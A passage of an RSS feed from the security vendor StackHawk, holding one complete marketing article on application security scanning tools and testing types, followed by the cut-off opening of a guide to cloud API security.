them from the moment they are created, ensuring that your security posture is as advanced as the threats you face.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;b&gt;Get Started with StackHawk for Free&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Top Tools for Effective Application Security Scanning]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/top-tools-for-effective-application-security-scanning</guid><category><![CDATA[Tooling Guides]]></category><dc:creator><![CDATA[Matt Tanner]]></dc:creator><content:encoded>&lt;p&gt;Keeping up with every vulnerability that could impact your code and applications can be a lot of work. Creating an application comes first for most developers, and securing it becomes a secondary priority. It&amp;#39;s no surprise since many teams, especially in older organizations, approach web-app/application security testing in the later phases of development, and a completely separate team handles this testing. Enter the realm of modern development practices, and you&amp;#39;ll see that many development and AppSec teams are using automated tooling to make security an automated and highly prioritized part of the SDLC. Testing earlier and more often.&lt;/p&gt;&lt;p&gt;This shift-left approach requires many tools to create a holistic security testing stack. Within this stack, a plethora of various testing tools likely exist. So which ones do you choose? This blog will cover some of the top tools to help you build a modern and effective application security testing stack. Let&amp;#39;s begin by digging into the fundamentals of security testing.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Introduction to Application Security Scanning&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;What is Application Security Scanning?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;At the highest level, application security scanning identifies and addresses security vulnerabilities within web applications. Much of the time, developers and security teams can scan web-apps using automated tools to uncover potential security risks. By integrating application security scanning into the software development life cycle, organizations can ensure that their web applications are secure from the ground up, from when the first line of code is written through to the app running in production.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Importance of Application Security Scanning&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Security breaches and issues can be costly in many ways. Security can positively or negatively impact an application, so application security scanning is a crucial component of any comprehensive security strategy. Here are a few factors that make application security scanning so critical:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Protection Against Cyber Attacks&lt;/b&gt;: By identifying and fixing vulnerabilities early in the SDLC, you can protect your applications from being exploited by malicious actors.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Compliance&lt;/b&gt;: Many security regulations and standards (such as PCI-DSS, GDPR, and ISO-27001/ISO-27002) require regular security assessments to ensure your company remains compliant. Application security scanning helps ensure that your web applications comply with these requirements.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Proactive Risk Management&lt;/b&gt;: By addressing vulnerabilities before they are exploited, you can significantly reduce the risk of data breaches and other security incidents.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Web Application Security Risks&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;Common Web Application Vulnerabilities&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Web applications are often targeted by attackers due to various common vulnerabilities. Understanding these vulnerabilities is the first step in protecting your applications. Some of the most frequent vulnerabilities include:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-scripting-xss/&quot;&gt;&lt;b&gt;&lt;u&gt;Cross-Site Scripting&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; (XSS)&lt;/b&gt;: This occurs when attackers inject malicious scripts into web pages viewed by other users, potentially stealing session tokens or other sensitive information.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;&lt;b&gt;&lt;u&gt;SQL Injection&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;: Attackers exploit this vulnerability by inserting malicious SQL queries into input fields, which can lead to unauthorized access to the database.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-cross-site-request-forgery-csrf/&quot;&gt;&lt;b&gt;&lt;u&gt;Cross-Site Request Forgery&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; (CSRF)&lt;/b&gt;: This tricks users into executing unwanted actions on a web application where they are authenticated, leading to unauthorized actions.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Remote Code Execution (RCE): &lt;/b&gt;This vulnerability allows attackers to run malicious code remotely on a server or system, potentially taking full control of the targeted application or infrastructure.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Local File Inclusion (LFI): &lt;/b&gt;In this attack, malicious actors exploit vulnerable code to include unauthorized files from the local server, potentially exposing sensitive information or executing unintended scripts.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Types of Application Security Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;To ensure comprehensive security, it’s important to understand the different types of application&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt; &lt;u&gt;security testing&lt;/u&gt;&lt;/a&gt;. Each type offers unique benefits and focuses on different aspects of your application’s security.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Static Application Security Testing (SAST)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Static Application Security Testing (SAST) solutions, such as &lt;a href=&quot;https://snyk.io/&quot;&gt;&lt;u&gt;Snyk&lt;/u&gt;&lt;/a&gt; and GitLab, involve analyzing your source code for security vulnerabilities. This type of testing looks specifically at how your application is designed and coded and does not require it to be running.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Benefits&lt;/b&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Early Detection&lt;/b&gt;: Identifies security flaws early in the secure software development process, allowing developers to fix issues before the code is deployed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;In-Depth Analysis&lt;/b&gt;: Provides a thorough examination of the codebase, helping to ensure that security is built into the application from the start.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt;&lt;b&gt;&lt;u&gt;Dynamic Application Security Testing&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt; (DAST)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Dynamic Application Security Testing (DAST) platforms, such as StackHawk, involve testing your web applications for security vulnerabilities while they are running. This type of testing simulates attacks and exploitation on the live application.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Benefits&lt;/b&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Real-World Simulation&lt;/b&gt;: By mimicking the expected behavior of an attacker, DAST scans help identify vulnerabilities as if they have been discovered by a threat hunter or attacker&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Comprehensive Coverage&lt;/b&gt;: Detects security issues in the running environment, including configuration errors and runtime vulnerabilities that might be missed by SAST tools.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Interactive Application Security Testing (IAST)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;IAST combines elements of both&lt;a href=&quot;https://www.stackhawk.com/blog/dast-vs-sast/&quot;&gt; &lt;u&gt;SAST and DAST&lt;/u&gt;&lt;/a&gt; to provide a more comprehensive analysis of your applications. It involves analyzing source code and testing running applications for security vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Benefits&lt;/b&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Holistic Approach&lt;/b&gt;: Offers a comprehensive view of security by combining static and dynamic analysis techniques.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Real-Time Feedback&lt;/b&gt;: Provides immediate feedback on security vulnerabilities, helping developers to address issues more quickly.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Web Application Scanning Tools Comparison&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Choosing the right web application scanning tool is crucial for effective security. Below you can find a comparison of some of the most popular tools available, highlighting their key features and benefits.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;StackHawk&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;OWASP Top Ten&lt;/b&gt;: StackHawk&amp;#39;s DAST scanner detects vulnerabilities in the OWASP Top Ten, providing coverage of the most critical security risks in modern web applications.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Simple Setup&lt;/b&gt;: StackHawk is designed to be easy to set up and configure, reducing the barrier to entry for incorporating security testing into the development workflow.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Collaboration Tools&lt;/b&gt;: It can integrate with collaboration tools like Jira and Slack, facilitating communication and tracking of security issues within development and operations teams.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Qualys Web Application Scanning&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Comprehensive Scanning&lt;/b&gt;: Qualys offers an in-depth analysis of web applications, identifying a wide range of vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Compliance Assurance&lt;/b&gt;: Helps ensure that your web applications comply with security regulations and standards.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Detailed Reporting&lt;/b&gt;: Provides detailed reports that help prioritize vulnerabilities based on risk, making it easier to address critical issues first.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Tenable Web App Scanning&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;User-Friendly Interface&lt;/b&gt;: Tenable is known for its ease of use, making it accessible for both beginners and experienced security professionals.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Effective Vulnerability Detection&lt;/b&gt;: Identifies security vulnerabilities efficiently, helping to protect web applications from potential threats.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Regulatory Compliance&lt;/b&gt;: Assists in meeting various compliance requirements by providing thorough security assessments.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Other Web Application Scanning Tools&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/guide-to-zap-application-security-testing/&quot;&gt;&lt;b&gt;&lt;u&gt;OWASP ZAP&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;: An open-source tool that offers a variety of features for finding security vulnerabilities in web applications. It’s especially popular among developers and security enthusiasts due to its flexibility and extensive documentation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Burp Suite&lt;/b&gt;: A comprehensive platform for&lt;a href=&quot;https://www.stackhawk.com/blog/10-web-application-security-threats-and-how-to-mitigate-them/&quot;&gt; &lt;u&gt;web application security&lt;/u&gt;&lt;/a&gt; testing, Burp Suite is known for its powerful scanning capabilities and its suite of tools designed for penetration testing.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Nuclei&lt;/b&gt;: A fast, customizable tool for finding security vulnerabilities using community-contributed or custom self-built templates. Nuclei is highly flexible and suitable for a range of security testing scenarios, from simple scans to complex assessments.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Using Web Application Scanning Tools&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When selecting security tools, there are several factors which might impact your tool selection . These include the experience level of your internal security team and whether you are fully utilizing any existing tools that you already pay for. It’s crucial to match the tools with your specific security testing requirements and ensure they integrate well with your current development and operations workflows.&lt;/p&gt;&lt;p&gt;Scalability to support future growth, the quality of support and documentation, and the frequency of updates to address emerging threats are also important. Additionally, consider the overall cost-effectiveness relative to your security budget. The chosen tool should be easy to use, have a manageable learning curve, and integrate seamlessly into your team’s daily operations to avoid significant disruptions. Below are some additional factors to consider:&lt;/p&gt;&lt;p&gt;&lt;b&gt;No Setup Required&lt;/b&gt;: Many modern web application scanning tools require minimal setup, allowing you to start scanning immediately. This is particularly beneficial for teams that need to quickly implement security measures. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Scheduling Scans&lt;/b&gt;: Most tools offer the ability to schedule scans to run automatically. Regularly scheduled scans help ensure that your web applications are continuously monitored for new vulnerabilities. &lt;/p&gt;&lt;p&gt;&lt;b&gt;API Access and Integrations&lt;/b&gt;: Many scanning tools provide API access and can be integrated with other security systems and tools. This integration capability allows for streamlined workflows and comprehensive security management.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Web Application Scanning Reports and Results&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Interpreting scan results and acting on them is a crucial part of maintaining the security of your web applications. This section will guide you through understanding scan results, prioritizing vulnerabilities, and implementing remediation strategies.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Understanding Scan Results&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Vulnerability Details&lt;/b&gt;: Each detected vulnerability will include a description, potential impact, and recommended remediation steps.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Severity Levels&lt;/b&gt;: Vulnerabilities are typically categorized by severity (e.g., critical, high, medium, low). This should be used as a guide to help you prioritize which issues to address first.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Affected Components&lt;/b&gt;: Reports will indicate which parts of your application are affected, helping you pinpoint the exact locations of vulnerabilities in your codebase and applications.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Prioritizing Vulnerabilities&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Not all vulnerabilities pose the same level of risk. It’s important to prioritize vulnerabilities based on their potential impact and the likelihood of exploitation. Consider the following factors:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Severity&lt;/b&gt;: Focus first on critical and high-severity vulnerabilities that could have the most significant impact if exploited.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Exposure&lt;/b&gt;: Prioritize vulnerabilities in publicly accessible parts of your application, as these are more likely to be targeted by attackers.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Business Impact&lt;/b&gt;: Consider the potential business impact of each vulnerability, including potential data breaches, downtime, and regulatory compliance issues.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Remediation and Mitigation&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Addressing identified vulnerabilities promptly is crucial for maintaining application security. Here are some strategies for effective remediation and mitigation:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Fix the Code&lt;/b&gt;: Work with developers to fix vulnerabilities in the source code, following secure coding practices.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Apply Patches&lt;/b&gt;: Ensure that all software components, including third-party libraries, are up-to-date with the latest security patches.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Implement Workarounds&lt;/b&gt;: In some cases, temporary workarounds may be necessary until a permanent fix can be applied. For example, you might restrict access to a vulnerable feature or apply configuration changes to mitigate the risk.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Web Application Security for DevOps&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Integrating web application security into your DevOps pipeline ensures that security is a continuous, integral part of the development process. This approach, often referred to as DevSecOps, aims to bridge the gap between development and security teams, fostering collaboration and automating security testing. Here’s how you can incorporate web application security into your DevOps practices.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Integrating with DevOps Pipelines&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;To ensure that security checks are performed consistently and efficiently, integrate web application scanning tools directly into your DevOps pipelines. Here’s how:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuous Integration (CI)&lt;/b&gt;: Incorporate security scans as part of the CI process. This means that every time code is committed or merged, automated security scans are triggered, identifying vulnerabilities early.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuous Deployment (CD)&lt;/b&gt;: Ensure that security scans are part of the deployment process. This ensures that any vulnerabilities are caught before the application is released to production.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automated Testing&lt;/b&gt;: Automate security tests alongside functional and performance tests. This creates a holistic testing environment where security is continuously monitored.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Immediate Feedback&lt;/b&gt;: Provide developers with real-time feedback on security issues, enabling them to address vulnerabilities promptly during the development process.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Improving Collaboration Between Dev and Security Teams&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Effective communication and collaboration between development and security teams are crucial for the success of DevSecOps. Here are some strategies to improve this collaboration:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Shared Goals and Metrics&lt;/b&gt;: Establish common goals and metrics for both teams. For example, aim to reduce the number of vulnerabilities or ensure all critical issues are addressed within a certain timeframe.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cross-Functional Training&lt;/b&gt;: Encourage cross-functional training so that developers understand security principles and security teams are familiar with the development process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Collaborative Tools&lt;/b&gt;: Use collaborative tools and platforms that allow both teams to share information, track vulnerabilities, and monitor remediation efforts.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Web Application Security for Cloud Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As organizations increasingly adopt cloud-based services, ensuring the security of web applications in the cloud becomes paramount. This section discusses how to effectively scan, secure, and protect cloud-based web applications.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Scanning Cloud-Based Web Applications&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Cloud environments introduce unique challenges and opportunities for web application security. Here’s how to approach scanning cloud-based applications:&lt;/p&gt;&lt;p&gt;&lt;b&gt;Cloud-Native Tools&lt;/b&gt;: Use cloud-native security tools provided by your cloud service provider (CSP), such as AWS Inspector, Azure Security Center, or Google Cloud Security Command Center. These tools are designed to integrate seamlessly with your cloud environment.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Regular Scans&lt;/b&gt;: Schedule regular security scans to continuously monitor your cloud-based applications. This helps identify and address vulnerabilities as they arise.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Configuration Checks&lt;/b&gt;: Ensure that your cloud configurations are secure by regularly scanning for misconfigurations, which are a common source of security vulnerabilities in the cloud.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Ensuring Cloud Security Compliance&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Compliance with cloud security regulations and standards is crucial for protecting sensitive data and avoiding penalties. Here are some steps to ensure compliance:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Understand Regulations&lt;/b&gt;: Familiarize yourself with relevant cloud security regulations and standards, such as GDPR, HIPAA, and PCI DSS. Each has specific requirements for data protection and security.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automated Compliance Checks&lt;/b&gt;: Use automated tools to check for compliance with these regulations. Many CSPs offer built-in compliance checks and reporting tools.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuous Monitoring&lt;/b&gt;: Implement continuous monitoring to ensure ongoing compliance. This includes real-time alerts for any compliance violations and regular audits.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Protecting Cloud-Based Data&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Protecting data in the cloud requires a multi-faceted approach. Here are some best practices:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Encryption&lt;/b&gt;: Encrypt data both at rest and in transit. This ensures that even if data is intercepted or accessed without authorization, it remains unreadable.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Access Controls&lt;/b&gt;: Implement strict access controls and use identity and access management (IAM) tools to ensure that only authorized users can access sensitive data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Regular Backups&lt;/b&gt;: Perform regular backups of your data to prevent loss due to breaches, failures, or other incidents. Ensure that backups are also securely stored and encrypted.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By effectively scanning cloud-based web applications, ensuring compliance with relevant regulations, and protecting cloud-based data, you can significantly enhance the security of your applications in the cloud.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Web Application Security for Enterprise Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Enterprise environments present unique challenges and opportunities for web application security. With larger and more complex infrastructures, it’s crucial to scale security measures effectively and manage risks across the entire organization. Here’s how to approach web application security in an enterprise setting.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Scaling Web Application Security&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Centralized Security Management&lt;/b&gt;: Use centralized tools for monitoring and managing security across all web applications.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automated Security Processes&lt;/b&gt;: Automate tasks like scanning, patch management, and compliance checks to handle scale efficiently.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Resource Allocation&lt;/b&gt;: Ensure security teams have the necessary tools, personnel, and training.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Managing&lt;/b&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/10-web-application-security-threats-and-how-to-mitigate-them/#1-sql-injection&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;b&gt;&lt;u&gt;Web Application Security Risks&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Risk Assessment&lt;/b&gt;: Regularly identify and evaluate potential security threats.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Risk Prioritization&lt;/b&gt;: Focus on the most critical vulnerabilities first.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Incident Response Plans&lt;/b&gt;: Develop and test plans for quick and effective incident responses.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Ensuring Enterprise-Wide Security&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security Training and Awareness&lt;/b&gt;: Regularly train employees on security best practices and threat recognition.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Secure Development Practices&lt;/b&gt;: Integrate secure coding practices and use SAST and&lt;a href=&quot;https://www.stackhawk.com/blog/top-8-dynamic-application-security-tools-of-2024/&quot;&gt; &lt;u&gt;DAST tools&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuous Monitoring and Improvement&lt;/b&gt;: Monitor threats in real time and use insights to improve security measures.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Next Steps for Improving Web Application Security&lt;/b&gt;&lt;/h2&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Implement a Web Application Scanning Tool&lt;/b&gt;: Choose a tool that fits your organization&amp;#39;s needs and integrate it into your security strategy.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integrate Security into DevOps Pipelines&lt;/b&gt;: Ensure security is a continuous part of the development process by incorporating automated scans and real-time feedback.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Improve Collaboration&lt;/b&gt;: Foster better communication and collaboration between development and security teams to ensure security is built into every stage of the application lifecycle.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Application security scanning is essential for identifying and addressing vulnerabilities in web applications using automated tools. By employing SAST, DAST, and IAST, we can achieve a comprehensive analysis through the combination of static and dynamic testing. Effective scanning with tools like Qualys, Tenable, OWASP ZAP, Burp Suite, and Nuclei ensures compliance and protects against cyber threats.&lt;/p&gt;&lt;p&gt;When it comes to utilizing DAST for web applications and the APIs that power them, StackHawk is a great platform to adopt. StackHawk&amp;#39;s modern DAST platform empowers developers and AppSec teams to easily test their applications and remedy any vulnerabilities with customized insights and easy-to-follow reports. Scanning applications locally or in CI/CD gives flexibility for developers to test their code manually as they write it and automatically when pushed into source control. Want to try out StackHawk for yourself? &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up today for a 14-day free trial.&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What is Cloud API Security? A Complete Guide]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/top-tips-for-effective-cloud-api-security</guid><category><![CDATA[Tech Learnings]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;h2&gt;&lt;b&gt;What is API Security?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API Security is a general term that refers to the practices and protocols designed to protect your API (or Application Programming Interface) from API threats. Security has a lot of elements and is best thought of as a comprehensive strategy.&lt;/p&gt;&lt;p&gt;It&amp;#39;s a delicate balance for security professionals as they seek to mitigate risks like data breaches and unauthorized access while ensuring that legitimate users experience no obstacles. &lt;/p&gt;&lt;p&gt; This article will delve into key principles for reinforcing API security, tackling challenges like blocking attacks and strengthening vulnerabilities, and focusing on maintaining seamless data exchange and support for authorized users.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is Cloud API Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Cloud APIs carry unique risks and challenges, requiring attention to the services they offer and the complex cloud environments they operate within. To add another layer of complexity, Cloud APIs often involve multiple stakeholders and third-party services, which can increase the overall risk and complexity of the security posture.&lt;/p&gt;&lt;p&gt;Cloud API protection faces common risks like compromised user authentication and authorization alongside unique threats from external dependencies, including implementation flaws, unauthorized APIs, credential leaks, and data breaches.&lt;/p&gt;&lt;p&gt;Effective cloud security demands specialized strategies, such as cloud-specific access controls and encryption, to prevent malicious data theft or exploitation of flaws, thorough API lifecycle management to prevent deprecation and adoption issues, and robust control over external API usage.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Key Concepts in Cloud API Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Cloud API Security, essentially a decentralized take on traditional API Security, follows many of the same guidelines and faces similar risks in guarding against malicious activity and threats. The key difference lies in addressing these concerns across various services, both ephemeral and permanent. Let’s take a closer look at API security first.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;API Security Fundamentals&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In order to implement API security effectively, you&amp;#39;ll want to keep the following fundamentals in mind:&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Data Encryption&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Securing data is crucial, and the best way to do this is by using strong encryption. Encryption is the process of taking data and scrambling it in a way that only trusted users with the right key can use that data. The more data you hold, the wider your attack surface, so starting with good encryption right away is key to keeping your data and APIs safe from attacks. &lt;/p&gt;&lt;h5&gt;&lt;b&gt;Data Encryption in Transit&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;APIs transmit data from one system to another and this data should be adequately secured during transit. Transport Layer Security, or TLS, is an industry-standard solution that can encrypt data as it&amp;#39;s exchanged, ensuring protection from eavesdropping, tampering, and man-in-the-middle attacks. TLS is essential to protect sensitive data and ensure communication security.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;Data Encryption at Rest&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;Once data has been transferred, it must be secured to ensure that any potential exfiltration is mitigated. In Cloud APIs, this is especially important as there&amp;#39;s no real physical separation between data processing and storage. There are many encryption-at-rest options; choose one that&amp;#39;s easy to maintain, as security needs constantly evolve.  &lt;b&gt;Authentication and Authorization Mechanisms&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Protecting sensitive data is as much about securing the data as it is about securing access, ensuring only authorized users can access critical information and functions. Accordingly, implementing proper access control policies is a vital step in setting a strong security posture. There are two types of access controls in this domain - authentication and authorization.&lt;/p&gt;&lt;h5&gt;&lt;b&gt;What is Authentication?&lt;/b&gt;&lt;/h5&gt;&lt;p&gt;Authentication is making sure that a user is 